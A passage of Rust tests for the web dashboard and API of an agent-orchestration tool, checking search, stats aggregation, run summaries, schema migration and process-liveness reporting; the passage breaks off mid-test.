16807 assert_eq!(v["total"], 1, "{v}");
16808 assert_eq!(v["hits"][0]["field"], "agent");
16809 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16811 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16812 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16814 assert_eq!(search(q).await["total"], 0, "{q}");
16815 }
16816 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16818 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16820
16821 let v = f.get("/api/search?scope=nope&q=a").await;
16822 assert_eq!(v.status, 400);
16823 assert!(
16824 v.body.contains("scope must be runs, tasks or chats"),
16825 "{}",
16826 v.body
16827 );
16828 }
16829
16830 #[test]
16831 fn a_question_card_links_a_task_id_to_the_task_page() {
16832 let start = APP_JS
16833 .find("function updateAskCard(")
16834 .expect("updateAskCard exists");
16835 let body = &APP_JS[start..];
16836 let body = &body[..body.find("\n}\n").expect("function end")];
16837 assert!(body.contains("question.run_is_task"));
16838 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16839 assert!(body.contains("`#/runs/${question.run}`"));
16840 assert!(body.contains("\"task\" : \"run\""));
16841 }
16842
16843 #[test]
16844 fn plain_text_message_surfaces_go_through_linkify() {
16845 assert!(APP_JS.contains("function linkify("));
16846 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16847 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16848 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16849 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16850 assert!(!APP_JS.contains("innerHTML = text"));
16851 }
16852
16853 #[test]
16854 fn implementation_rate_views_keep_independent_samples() {
16855 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16856 let a = stats::AgentStats {
16857 competitive_entered: competitive_n,
16858 competitive_wins: usize::from(competitive_n > 0),
16859 solo_entered: solo_n,
16860 solo_adopted: 2 * usize::from(solo_n > 0),
16861 ..Default::default()
16862 };
16863 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16864 for (key, n, numerator) in [
16865 ("competitive_win_rate", competitive_n, a.competitive_wins),
16866 ("solo_adoption_rate", solo_n, a.solo_adopted),
16867 ] {
16868 if n == 0 {
16869 assert!(v[key].is_null());
16870 } else {
16871 assert_eq!(v[key]["denominator"], n);
16872 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16873 }
16874 }
16875 }
16876 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16877 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16878 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16879 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16880 }
16881
16882 #[test]
16883 fn stats_bars_share_one_id_keyed_plan() {
16884 let start = APP_JS
16885 .find("function statsBarRows(")
16886 .expect("statsBarRows exists");
16887 let body = &APP_JS[start..];
16888 let body = &body[..body.find("\n}\n").expect("function end")];
16889 assert!(body.contains("statsBarPlan(rows)"));
16890 assert!(body.contains("statsAgentTone(row.agent)"));
16891 assert!(!body.contains("candTone(i)"));
16892 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16893 for root in [
16894 "stats-agents-bars",
16895 "stats-solo-bars",
16896 "stats-reviewers-bars",
16897 ] {
16898 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16899 }
16900 }
16901
16902 #[test]
16903 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16904 let start = APP_JS
16905 .find("function renderStatsReviewerScatter(")
16906 .expect("renderStatsReviewerScatter exists");
16907 let body = &APP_JS[start..];
16908 let body = &body[..body.find("\n}\n").expect("function end")];
16909 assert!(body.contains("statsScatterPlan(reviewers)"));
16910 assert!(body.contains("statsAgentTone(d.agent)"));
16911 assert!(APP_JS.contains("function statsScatterPlan("));
16912 assert!(
16913 APP_JS.contains("d.submitted < STATS_LOW_N")
16914 || APP_JS.contains("r.submitted < STATS_LOW_N")
16915 );
16916 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16917 assert!(APP_CSS.contains(".precision-scatter"));
16918 }
16919
16920 #[test]
16921 fn advisor_reflection_is_drawn_as_stacked_segments() {
16922 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16923 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16924 let html = include_str!("../assets/ui/index.html");
16925 assert!(html.contains("Approximate"));
16926 for label in ["reflected strongly", "faint", "no proposal"] {
16927 assert!(html.contains(label));
16928 }
16929 let css = include_str!("../assets/ui/app.css");
16930 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16931 assert!(css.contains(&format!(".{c} {{")));
16932 }
16933 }
16934
16935 #[test]
16936 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16937 assert!(APP_JS.contains("function statsDailyPlan("));
16938 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16939 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16940 }
16941
16942 #[test]
16943 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16944 let start = APP_JS
16945 .find("function scheduleSearch(")
16946 .expect("scheduleSearch exists");
16947 let body = &APP_JS[start..];
16948 let body = &body[..body.find("\n}\n").expect("function end")];
16949 assert!(body.contains("s.seq += 1"));
16950 }
16951
16952 #[tokio::test]
16957 async fn stats_runs_unreadable_matches_health() {
16958 let f = Fixture::start().await;
16959 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16960 let broken = f.runs().join("20260902-140502-bad");
16961 std::fs::create_dir_all(&broken).expect("run dir");
16962 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16963
16964 let stats = f.get("/api/stats").await;
16965 let health = f.get("/api/health").await;
16966
16967 assert_eq!(stats.status, 200);
16968 assert_eq!(stats.json()["totals"]["runs"], 1);
16969 assert_eq!(stats.json()["runs_unreadable"], 1);
16970 assert_eq!(
16971 stats.json()["runs_unreadable"],
16972 health.json()["runs_unreadable"],
16973 "the dashboard and /api/health must never disagree about how many \
16974 runs could not be read"
16975 );
16976 }
16977
16978 #[tokio::test]
16979 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16980 let f = Fixture::start().await;
16981 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16982 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16983 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16984
16985 let totals = &f.get("/api/stats").await.json()["totals"];
16986 assert_eq!(totals["runs"], 3);
16987 assert_eq!(totals["merged"], 1);
16988 assert_eq!(totals["stalled"], 1);
16989 assert_eq!(totals["in_progress"], 1);
16990 assert_eq!(totals["blocked"], 0);
16993 assert_eq!(totals["ready"], 0);
16994 }
16995
16996 #[tokio::test]
16997 async fn stats_advisors_report_proposals_and_reflection() {
16998 use crate::advise::{Advice, AdvisorRecord, Reflection};
16999 use crate::verdict::Proposal;
17000
17001 let f = Fixture::start().await;
17002 let mut state = RunState::new(
17003 PathBuf::from("/repo/magi"),
17004 "main".to_owned(),
17005 "0123456789abcdef".to_owned(),
17006 "task".to_owned(),
17007 Config::default(),
17008 );
17009 state.id = "20260902-140501-a".to_owned();
17010 state.status = RunStatus::Merged;
17011 state.advice = Some(Advice {
17012 records: vec![
17013 AdvisorRecord {
17014 seat: "advisor-1".to_owned(),
17015 agent: "alpha".to_owned(),
17016 proposal: Some(Proposal {
17017 approach: "do it".to_owned(),
17018 key_tradeoff: "speed over memory".to_owned(),
17019 risks: Vec::new(),
17020 touches: Vec::new(),
17021 why_not_naive: "breaks under load".to_owned(),
17022 }),
17023 error: None,
17024 duration_ms: 0,
17025 reflection: Reflection::Strong,
17026 },
17027 AdvisorRecord {
17028 seat: "advisor-2".to_owned(),
17029 agent: "alpha".to_owned(),
17030 proposal: None,
17031 error: Some("timed out".to_owned()),
17032 duration_ms: 0,
17033 reflection: Reflection::Absent,
17034 },
17035 ],
17036 synthesis: Some("blended brief".to_owned()),
17037 });
17038 let dir = f.runs().join(&state.id);
17039 std::fs::create_dir_all(&dir).expect("run dir");
17040 std::fs::write(
17041 dir.join("run.json"),
17042 serde_json::to_string_pretty(&state).expect("serialize run"),
17043 )
17044 .expect("write run.json");
17045
17046 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17048 let alpha = advisors
17049 .as_array()
17050 .expect("an array")
17051 .iter()
17052 .find(|a| a["agent"] == "alpha")
17053 .expect("alpha row");
17054 assert_eq!(alpha["seated"], 2);
17055 assert_eq!(alpha["proposed"], 1);
17056 assert_eq!(alpha["absent"], 1);
17057 assert_eq!(alpha["strong"], 1);
17058 assert_eq!(alpha["faint"], 0);
17059 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17060 }
17061
17062 #[tokio::test]
17063 async fn stats_hides_agents_outside_the_roster_unless_all() {
17064 use crate::run::Candidate;
17065 let repo = TempDir::new().expect("repo dir");
17066 std::fs::write(
17067 repo.path().join("magi.toml"),
17068 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17069 )
17070 .expect("magi.toml");
17071 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17072 let mut state = RunState::new(
17073 PathBuf::from("/repo/magi"),
17074 "main".to_owned(),
17075 "0123456789abcdef".to_owned(),
17076 "task".to_owned(),
17077 Config::default(),
17078 );
17079 state.id = "20260902-140501-a".to_owned();
17080 state.status = RunStatus::Merged;
17081 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17082 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17083 "index": 0, "label": label.to_string(), "agent": agent,
17084 "branch": "b", "worktree": "/w",
17085 }))
17086 .expect("candidate");
17087 c.label = label;
17088 state.candidates.push(c);
17089 }
17090 let dir = f.runs().join(&state.id);
17091 std::fs::create_dir_all(&dir).expect("run dir");
17092 std::fs::write(
17093 dir.join("run.json"),
17094 serde_json::to_string_pretty(&state).expect("serialize run"),
17095 )
17096 .expect("write run.json");
17097
17098 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17099 v["agents"]
17100 .as_array()
17101 .expect("array")
17102 .iter()
17103 .map(|a| a["agent"].as_str().unwrap().to_owned())
17104 .collect()
17105 };
17106 let hidden = f.get("/api/stats").await.json();
17107 assert_eq!(agents_of(&hidden), ["keep"]);
17108 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17109 assert_eq!(hidden["totals"]["runs"], 1);
17110
17111 let all = f.get("/api/stats?all=true").await.json();
17112 assert_eq!(agents_of(&all).len(), 2);
17113 assert_eq!(all["retired_hidden"], serde_json::json!([]));
17114 let keep_agent = all["agents"]
17116 .as_array()
17117 .unwrap()
17118 .iter()
17119 .find(|a| a["agent"] == "keep")
17120 .unwrap();
17121 assert_eq!(keep_agent["competitive_entered"], 1);
17122 assert_eq!(keep_agent["competitive_wins"], 0);
17123 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17124 assert_eq!(keep_agent["solo_entered"], 0);
17125 assert_eq!(keep_agent["solo_adopted"], 0);
17126 assert!(keep_agent["solo_adoption_rate"].is_null());
17127 }
17128
17129 #[tokio::test]
17130 async fn stats_release_bumps_split_clean_from_attention() {
17131 use crate::run::ReleaseBump;
17132
17133 let f = Fixture::start().await;
17134
17135 let mut clean = RunState::new(
17136 PathBuf::from("/repo/magi"),
17137 "main".to_owned(),
17138 "0123456789abcdef".to_owned(),
17139 "task".to_owned(),
17140 Config::default(),
17141 );
17142 clean.id = "20260902-140501-a".to_owned();
17143 clean.status = RunStatus::Merged;
17144 clean.release_bump = Some(ReleaseBump {
17145 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
17146 version: Some("1.0.0".to_owned()),
17147 automerge_enabled: true,
17148 merged_directly: false,
17149 local: false,
17150 release: None,
17151 problem: None,
17152 action_required: None,
17153 });
17154
17155 let mut blocked = RunState::new(
17156 PathBuf::from("/repo/magi"),
17157 "main".to_owned(),
17158 "0123456789abcdef".to_owned(),
17159 "task".to_owned(),
17160 Config::default(),
17161 );
17162 blocked.id = "20260902-140502-b".to_owned();
17163 blocked.status = RunStatus::Merged;
17164 blocked.release_bump = Some(ReleaseBump {
17165 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
17166 version: Some("1.0.1".to_owned()),
17167 automerge_enabled: false,
17168 merged_directly: false,
17169 local: false,
17170 release: None,
17171 problem: Some("checks red".to_owned()),
17172 action_required: Some("look at the PR".to_owned()),
17173 });
17174
17175 for state in [&clean, &blocked] {
17176 let dir = f.runs().join(&state.id);
17177 std::fs::create_dir_all(&dir).expect("run dir");
17178 std::fs::write(
17179 dir.join("run.json"),
17180 serde_json::to_string_pretty(state).expect("serialize run"),
17181 )
17182 .expect("write run.json");
17183 }
17184
17185 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17186 assert_eq!(bumps["merged"], 2);
17187 assert_eq!(bumps["recorded"], 2);
17188 assert_eq!(bumps["pr_opened"], 2);
17189 assert_eq!(bumps["automerge_enabled"], 1);
17190 assert_eq!(bumps["needs_attention"], 1);
17191 assert_eq!(bumps["clean"], 1);
17192 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
17193 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
17194 }
17195
17196 #[tokio::test]
17197 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
17198 let f = Fixture::start().await;
17199 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17200
17201 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17202 assert_eq!(bumps["merged"], 1);
17203 assert_eq!(bumps["recorded"], 0);
17204 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
17207 assert_eq!(bumps["automerge_rate"], Value::Null);
17210 assert_eq!(bumps["attention_rate"], Value::Null);
17211 }
17212
17213 #[tokio::test]
17214 async fn stats_queue_counts_come_from_the_live_queue() {
17215 let f = Fixture::start().await;
17216 let q = f.queue();
17217 let mut queued = Task::new(
17218 "queued task".to_owned(),
17219 "do it".to_owned(),
17220 PathBuf::from("/repo"),
17221 Source::Human,
17222 );
17223 q.put(&mut queued).expect("put queued");
17224 let mut held = Task::new(
17225 "held task".to_owned(),
17226 "do it later".to_owned(),
17227 PathBuf::from("/repo"),
17228 Source::Human,
17229 );
17230 held.hold_machine(Some("out of attempts".to_owned()));
17231 q.put(&mut held).expect("put held");
17232
17233 let queue = f.get("/api/stats").await.json()["queue"].clone();
17234 assert_eq!(queue["queued"], 1);
17235 assert_eq!(queue["held"], 1);
17236 assert_eq!(queue["running"], 0);
17237 assert_eq!(queue["done"], 0);
17238 assert_eq!(queue["failed"], 0);
17239 assert_eq!(queue["blocked"], 0);
17240 }
17241
17242 #[tokio::test]
17243 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
17244 let f = Fixture::start().await;
17245 let stats = f.get("/api/stats").await;
17246 assert_eq!(stats.status, 200);
17247 assert_eq!(stats.json()["totals"]["runs"], 0);
17248 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
17249 assert_eq!(stats.json()["runs_unreadable"], 0);
17250 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
17251 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
17252 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
17253 assert_eq!(stats.json()["repo"], Value::Null);
17254 }
17255
17256 #[tokio::test]
17257 async fn stats_lists_every_repository_with_runs_recorded() {
17258 let f = Fixture::start().await;
17259 write_run_repo(
17260 &f.runs(),
17261 "20260902-140501-a",
17262 RunStatus::Merged,
17263 "/repos/a",
17264 );
17265 write_run_repo(
17266 &f.runs(),
17267 "20260902-140502-b",
17268 RunStatus::Merged,
17269 "/repos/a",
17270 );
17271 write_run_repo(
17272 &f.runs(),
17273 "20260902-140503-c",
17274 RunStatus::Blocked,
17275 "/repos/b",
17276 );
17277
17278 let stats = f.get("/api/stats").await;
17279 assert_eq!(stats.status, 200);
17280 assert_eq!(stats.json()["totals"]["runs"], 3);
17282 assert_eq!(stats.json()["repo"], Value::Null);
17283
17284 let repos = stats.json()["repos"].clone();
17285 let repos = repos.as_array().unwrap();
17286 assert_eq!(repos.len(), 2);
17287 assert_eq!(repos[0]["repo"], "/repos/a");
17289 assert_eq!(repos[0]["name"], "a");
17290 assert_eq!(repos[0]["runs"], 2);
17291 assert_eq!(repos[1]["repo"], "/repos/b");
17292 assert_eq!(repos[1]["runs"], 1);
17293 }
17294
17295 #[tokio::test]
17296 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
17297 let f = Fixture::start().await;
17298 write_run_repo(
17299 &f.runs(),
17300 "20260902-140501-a",
17301 RunStatus::Merged,
17302 "/repos/a",
17303 );
17304 write_run_repo(
17305 &f.runs(),
17306 "20260902-140502-b",
17307 RunStatus::Blocked,
17308 "/repos/b",
17309 );
17310
17311 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
17312 assert_eq!(stats.status, 200);
17313 assert_eq!(stats.json()["totals"]["runs"], 1);
17314 assert_eq!(stats.json()["totals"]["merged"], 1);
17315 assert_eq!(stats.json()["repo"], "/repos/a");
17316 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
17319 assert_eq!(stats.json()["runs_unreadable"], 0);
17322 }
17323
17324 #[tokio::test]
17325 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
17326 let f = Fixture::start().await;
17327 write_run_repo(
17328 &f.runs(),
17329 "20260902-140501-a",
17330 RunStatus::Merged,
17331 "/repos/a",
17332 );
17333 write_run_repo(
17334 &f.runs(),
17335 "20260902-140502-b",
17336 RunStatus::Merged,
17337 "/repos/b",
17338 );
17339
17340 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
17341 let json = f.get(uri).await.json();
17342 let daily = json["daily"].as_array().expect("daily is an array");
17343 assert_eq!(daily.len(), 30);
17344 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
17345 let mut sorted = dates.clone();
17346 sorted.sort();
17347 assert_eq!(dates, sorted);
17348 for d in daily {
17349 assert_eq!(
17350 d["merged"].as_u64().unwrap()
17351 + d["ready"].as_u64().unwrap()
17352 + d["other"].as_u64().unwrap(),
17353 d["runs"].as_u64().unwrap()
17354 );
17355 }
17356 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
17357 }
17358 }
17359
17360 #[tokio::test]
17361 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
17362 let f = Fixture::start().await;
17363 write_run_repo(
17364 &f.runs(),
17365 "20260902-140501-a",
17366 RunStatus::Merged,
17367 "/repos/a",
17368 );
17369
17370 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
17371 assert_eq!(stats.status, 404);
17372 }
17373
17374 #[tokio::test]
17375 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
17376 let f = Fixture::start().await;
17377 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
17378
17379 let summary = f.get("/api/runs").await.json();
17380 let row = &summary[0];
17381 assert_eq!(row["short"], "a1b2");
17382 assert_eq!(row["status"], "ready");
17383 assert_eq!(row["done"], true);
17384 assert_eq!(row["title"], "Add a web UI");
17385 assert_eq!(row["repo_name"], "magi");
17386 assert_eq!(row["judges"], 3);
17387 assert_eq!(row["winner"], Value::Null);
17388 assert_eq!(row["reviews"], 0);
17389
17390 let detail = f.get("/api/runs/a1b2").await;
17393 assert_eq!(detail.status, 200);
17394 assert_eq!(detail.json()["base_branch"], "main");
17395 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
17396 }
17397
17398 #[tokio::test]
17406 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
17407 let f = Fixture::start().await;
17408
17409 let mut none_run = RunState::new(
17410 PathBuf::from("/repo/magi"),
17411 "main".to_owned(),
17412 "0123456789abcdef".to_owned(),
17413 "Add a web UI".to_owned(),
17414 Config::default(),
17415 );
17416 none_run.id = "20260902-140503-none".to_owned();
17417 none_run.status = RunStatus::Ready;
17418 none_run.merge = Some(crate::run::MergeOutcome {
17419 mode: crate::config::MergeMode::None,
17420 ok: true,
17421 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
17422 empty: false,
17423 });
17424 write_state(&f.runs(), &none_run);
17425
17426 let mut pr_run = RunState::new(
17427 PathBuf::from("/repo/magi"),
17428 "main".to_owned(),
17429 "0123456789abcdef".to_owned(),
17430 "Add a web UI".to_owned(),
17431 Config::default(),
17432 );
17433 pr_run.id = "20260902-140504-prcl".to_owned();
17434 pr_run.status = RunStatus::Ready;
17435 pr_run.merge = Some(crate::run::MergeOutcome {
17436 mode: crate::config::MergeMode::Pr,
17437 ok: false,
17438 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
17439 empty: false,
17440 });
17441 write_state(&f.runs(), &pr_run);
17442
17443 let summary = f.get("/api/runs").await.json();
17444 let rows: std::collections::HashMap<&str, &Value> = summary
17445 .as_array()
17446 .expect("an array")
17447 .iter()
17448 .map(|r| (r["id"].as_str().expect("an id"), r))
17449 .collect();
17450 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
17451 assert_eq!(
17452 rows[none_run.id.as_str()]["unmerged_by_design"],
17453 true,
17454 "a mode-none Ready must be flagged in the list"
17455 );
17456 assert_eq!(
17457 rows[pr_run.id.as_str()]["unmerged_by_design"],
17458 false,
17459 "a Ready reached by a closed pull request is a different case"
17460 );
17461
17462 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17463 assert_eq!(none_detail["status"], "ready");
17464 assert_eq!(none_detail["unmerged_by_design"], true);
17465
17466 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17467 assert_eq!(pr_detail["unmerged_by_design"], false);
17468 }
17469
17470 #[tokio::test]
17475 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17476 let f = Fixture::start().await;
17477 let id = "20260902-140502-bbbb";
17481 let mut state = RunState::new(
17482 PathBuf::from("/repo/magi"),
17483 "main".to_owned(),
17484 "0123456789abcdef".to_owned(),
17485 "Add a web UI".to_owned(),
17486 Config::default(),
17487 );
17488 state.id = id.to_owned();
17489 state.status = RunStatus::Judging;
17490 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17491 let dir = f.runs().join(id);
17492 std::fs::create_dir_all(&dir).expect("run dir");
17493 std::fs::write(
17494 dir.join("run.json"),
17495 serde_json::to_string_pretty(&state).expect("serialize run"),
17496 )
17497 .expect("write run.json");
17498
17499 let cold = f.get(&format!("/api/runs/{id}")).await.json();
17505 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17506 assert_eq!(cold["live"], "unknown", "{cold}");
17507
17508 write_daemon(f.home.path(), Timestamp::now());
17511 let warm = f.get(&format!("/api/runs/{id}")).await.json();
17512 assert_eq!(warm["live"], "live", "{warm}");
17513 }
17514
17515 #[test]
17516 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17517 let home = tempfile::tempdir().expect("temp home");
17518 let runs = home.path().join("runs");
17519 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17520 let mut state = RunState::new(
17521 PathBuf::from("/repo/magi"),
17522 "main".to_owned(),
17523 "0123456789abcdef".to_owned(),
17524 "Generated review context, not authored task criteria".to_owned(),
17525 Config::default(),
17526 );
17527 state.origin = origin;
17528 state.status = RunStatus::Blocked;
17529 state.driver_exited = false;
17531 state.gate_ran = true;
17532 let expected = serde_json::to_value(&state).expect("serialize current state");
17533 let mut legacy = expected.clone();
17534 legacy["schema"] = serde_json::json!(13);
17535 legacy.as_object_mut().unwrap().remove("task_instruction");
17536 let dir = runs.join(&state.id);
17537 std::fs::create_dir_all(&dir).expect("run dir");
17538 let path = dir.join("run.json");
17539 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17540 std::fs::write(&path, &body).expect("write legacy run");
17541
17542 for loaded in [
17543 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17544 read_run(&runs, &state.id).expect("web migration"),
17545 ] {
17546 assert_eq!(loaded.schema, crate::run::SCHEMA);
17547 assert!(loaded.task_instruction.is_none());
17548 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17549 }
17550 assert_eq!(runs_unreadable(&runs), 0);
17551 assert_eq!(std::fs::read(&path).unwrap(), body);
17552 }
17553 }
17554
17555 #[tokio::test]
17558 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17559 let f = Fixture::start().await;
17560 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17561 let mut state = RunState::new(
17562 PathBuf::from("/repo/magi"),
17563 "main".to_owned(),
17564 "0123456789abcdef".to_owned(),
17565 "Add a web UI".to_owned(),
17566 Config::default(),
17567 );
17568 state.id = id.to_owned();
17569 state.origin = origin;
17570 let mut value = serde_json::to_value(&state).expect("serialize run");
17571 if let Some(schema) = schema {
17572 value["schema"] = serde_json::json!(schema);
17573 value.as_object_mut().unwrap().remove("origin");
17574 }
17575 let dir = f.runs().join(id);
17576 std::fs::create_dir_all(&dir).expect("run dir");
17577 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17578 };
17579 write(
17580 "20260930-092817-ec34",
17581 Some(crate::run::Origin::from_agent_env(
17582 Some(("4a7b".to_owned(), "chat".to_owned())),
17583 None,
17584 )),
17585 None,
17586 );
17587 write("20260930-092817-0ld1", None, Some(12));
17588
17589 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17590 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17591 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17592
17593 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17594 assert_eq!(
17595 old["origin_label"], "origin unknown (started before origins were recorded)",
17596 "{old}"
17597 );
17598 assert!(old["origin"].is_null(), "{old}");
17599
17600 let list = f.get("/api/runs").await.json();
17601 let labels: Vec<_> = list
17602 .as_array()
17603 .unwrap()
17604 .iter()
17605 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17606 .collect();
17607 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17608 }
17609
17610 #[tokio::test]
17617 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17618 let f = Fixture::start().await;
17619 let id = "20260922-090000-cccc";
17620 let mut state = RunState::new(
17621 PathBuf::from("/repo/magi"),
17622 "main".to_owned(),
17623 "0123456789abcdef".to_owned(),
17624 "Review only".to_owned(),
17625 Config::default(),
17626 );
17627 state.id = id.to_owned();
17628 state.status = RunStatus::Reviewing;
17629 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17630 state.driver_pid = Some(std::process::id());
17636 state.driver_started_at = Some(
17637 crate::proc::process_started_at(std::process::id())
17638 .expect("this test process's own start time must be queryable"),
17639 );
17640 let dir = f.runs().join(id);
17641 std::fs::create_dir_all(&dir).expect("run dir");
17642 std::fs::write(
17643 dir.join("run.json"),
17644 serde_json::to_string_pretty(&state).expect("serialize run"),
17645 )
17646 .expect("write run.json");
17647
17648 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17649 assert_eq!(detail["live"], "live", "{detail}");
17650 }
17651
17652 #[tokio::test]
17658 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17659 let f = Fixture::start().await;
17660 let id = "20260922-090100-dddd";
17661 let mut state = RunState::new(
17662 PathBuf::from("/repo/magi"),
17663 "main".to_owned(),
17664 "0123456789abcdef".to_owned(),
17665 "Review only".to_owned(),
17666 Config::default(),
17667 );
17668 state.id = id.to_owned();
17669 state.status = RunStatus::Reviewing;
17670 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17671 state.driver_pid = Some(std::process::id());
17676 state.driver_started_at = Some("1".to_owned());
17677 let dir = f.runs().join(id);
17678 std::fs::create_dir_all(&dir).expect("run dir");
17679 std::fs::write(
17680 dir.join("run.json"),
17681 serde_json::to_string_pretty(&state).expect("serialize run"),
17682 )
17683 .expect("write run.json");
17684
17685 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17686 assert_eq!(detail["live"], "dead", "{detail}");
17687 }
17688
17689 #[test]
17693 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
17694 let mk = |id: &str, pid: Option<u32>| {
17695 let mut s = RunState::new(
17696 PathBuf::from("/repo/magi"),
17697 "main".to_owned(),
17698 "0123456789abcdef".to_owned(),
17699 "Add a web UI".to_owned(),
17700 Config::default(),
17701 );
17702 s.id = id.to_owned();
17703 s.driver_pid = pid;
17704 s.driver_started_at = Some("1790000000".to_owned());
17705 s
17706 };
17707 let states = vec![
17708 mk("20260902-140502-aaaa", Some(77)),
17709 mk("20260902-140502-bbbb", Some(77)),
17710 mk("20260902-140502-cccc", Some(77)),
17711 mk("20260902-140502-dddd", None),
17712 ];
17713 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
17714 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
17715 let sup: HashMap<String, String> = [(
17716 "20260902-140502-aaaa".to_owned(),
17717 "20260902-140502-cccc".to_owned(),
17718 )]
17719 .into();
17720
17721 let status_calls = std::cell::Cell::new(0);
17722 let identity_calls = std::cell::Cell::new(0);
17723 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
17724 |_| {
17725 status_calls.set(status_calls.get() + 1);
17726 Some(true)
17727 },
17728 |_| {
17729 identity_calls.set(identity_calls.get() + 1);
17730 Some("1790000000".to_owned())
17731 },
17732 ));
17733 let rows = summarize(
17734 states,
17735 &open,
17736 &claimed,
17737 &sup,
